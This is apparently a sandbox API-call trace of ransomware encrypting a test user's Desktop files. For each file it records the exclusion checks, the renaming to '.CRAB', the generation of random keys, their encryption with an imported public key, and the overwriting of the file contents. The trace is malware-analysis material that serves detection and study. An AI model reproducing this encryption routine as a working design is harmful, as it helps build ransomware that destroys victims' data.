	[0124.821] CloseHandle (hObject=0x3e8) returned 1
	[0124.821] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.821] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.822] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.822] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.822] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.822] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.822] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.823] lstrcmpW (lpString1="7i2BoLr0e_.flv", lpString2=".") returned 1
	[0124.823] lstrcmpW (lpString1="7i2BoLr0e_.flv", lpString2="..") returned 1
	[0124.823] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="7i2BoLr0e_.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv"
	[0124.823] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.823] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv") returned 44
	[0124.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv") returned 44
	[0124.823] lstrlenW (lpString=".flv") returned 4
	[0124.823] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.823] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0124.823] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv") returned 44
	[0124.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv") returned 44
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="desktop.ini") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="autorun.inf") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="ntuser.dat") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="iconcache.db") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="bootsect.bak") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="boot.ini") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="ntuser.dat.log") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="thumbs.db") returned -1
	[0124.824] lstrcmpiW (lpString1="7i2BoLr0e_.flv", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.824] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.824] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB") returned 49
	[0124.824] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7i2bolr0e_.flv")) returned 0x20
	[0124.824] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv", dwFileAttributes=0x20) returned 1
	[0124.825] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7i2bolr0e_.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7i2bolr0e_.flv.crab")) returned 1
	[0124.825] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.826] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB"
	[0124.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB.CRAB"
	[0124.826] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0124.826] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.827] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.827] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.827] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.827] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.827] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.827] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.828] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.828] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.828] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.828] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.828] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.828] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.828] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.829] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.829] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31584c0) returned 1
	[0124.829] CryptGetKeyParam (in: hKey=0x31584c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.829] CryptEncrypt (in: hKey=0x31584c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.830] GetLastError () returned 0x0
	[0124.830] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.830] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.830] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x31580c0) returned 1
	[0124.830] CryptGetKeyParam (in: hKey=0x31580c0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.830] CryptEncrypt (in: hKey=0x31580c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.831] GetLastError () returned 0x0
	[0124.831] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.831] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\7i2BoLr0e_.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\7i2bolr0e_.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.831] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.831] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.832] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x15c5c, lpOverlapped=0x0) returned 1
	[0124.844] VirtualAlloc (lpAddress=0x0, dwSize=0x15c60, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.846] VirtualAlloc (lpAddress=0x0, dwSize=0x15c60, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.848] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.849] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffea3a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.849] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x15c60, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x15c60, lpOverlapped=0x0) returned 1
	[0124.849] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.849] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.877] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.877] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.877] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.877] CloseHandle (hObject=0x3e8) returned 1
	[0124.878] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.878] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.879] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.879] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.879] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.879] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.879] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.879] lstrcmpW (lpString1="aavQmwiw.jpg", lpString2=".") returned 1
	[0124.879] lstrcmpW (lpString1="aavQmwiw.jpg", lpString2="..") returned 1
	[0124.880] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="aavQmwiw.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg"
	[0124.880] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.880] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg") returned 42
	[0124.880] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg") returned 42
	[0124.880] lstrlenW (lpString=".jpg") returned 4
	[0124.880] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.880] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0124.880] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.880] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg") returned 42
	[0124.880] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg") returned 42
	[0124.880] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="desktop.ini") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="autorun.inf") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="ntuser.dat") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="iconcache.db") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="bootsect.bak") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="boot.ini") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="ntuser.dat.log") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="thumbs.db") returned -1
	[0124.881] lstrcmpiW (lpString1="aavQmwiw.jpg", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.881] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.881] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB") returned 47
	[0124.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\aavqmwiw.jpg")) returned 0x20
	[0124.881] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg", dwFileAttributes=0x20) returned 1
	[0124.882] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\aavqmwiw.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\aavqmwiw.jpg.crab")) returned 1
	[0124.882] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.883] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB"
	[0124.883] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB.CRAB"
	[0124.883] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.883] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.884] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.884] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.884] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.884] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.884] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.885] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.885] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.885] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.885] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.885] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.885] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.886] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.886] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0124.886] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158380) returned 1
	[0124.887] CryptGetKeyParam (in: hKey=0x3158380, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.887] CryptEncrypt (in: hKey=0x3158380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.888] GetLastError () returned 0x0
	[0124.888] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0124.888] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.888] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158240) returned 1
	[0124.888] CryptGetKeyParam (in: hKey=0x3158240, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.888] CryptEncrypt (in: hKey=0x3158240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.889] GetLastError () returned 0x0
	[0124.889] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.889] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\aavQmwiw.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\aavqmwiw.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.889] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.889] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.890] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x5bef, lpOverlapped=0x0) returned 1
	[0124.902] VirtualAlloc (lpAddress=0x0, dwSize=0x5bf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.902] VirtualAlloc (lpAddress=0x0, dwSize=0x5bf0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0124.903] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.904] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffa411, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.904] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x5bf0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0x5bf0, lpOverlapped=0x0) returned 1
	[0124.904] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.904] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.910] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.910] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.910] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.910] CloseHandle (hObject=0x3e8) returned 1
	[0124.910] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.911] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.911] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.911] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.911] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.911] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.912] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.912] lstrcmpW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2=".") returned 1
	[0124.912] lstrcmpW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="..") returned 1
	[0124.912] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js"
	[0124.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.912] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js") returned 82
	[0124.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js") returned 82
	[0124.912] lstrlenW (lpString=".js") returned 3
	[0124.912] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.912] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".js ") returned 4
	[0124.912] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js") returned 82
	[0124.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js") returned 82
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="desktop.ini") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="autorun.inf") returned 1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="ntuser.dat") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="iconcache.db") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="bootsect.bak") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="boot.ini") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="ntuser.dat.log") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="thumbs.db") returned -1
	[0124.913] lstrcmpiW (lpString1="bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.913] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.913] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js.CRAB") returned 87
	[0124.913] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js")) returned 0x20
	[0124.913] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\bill_87448680672-2706201981722018_4_23_b83d95.pdf.js", dwFileAttributes=0x20) returned 1
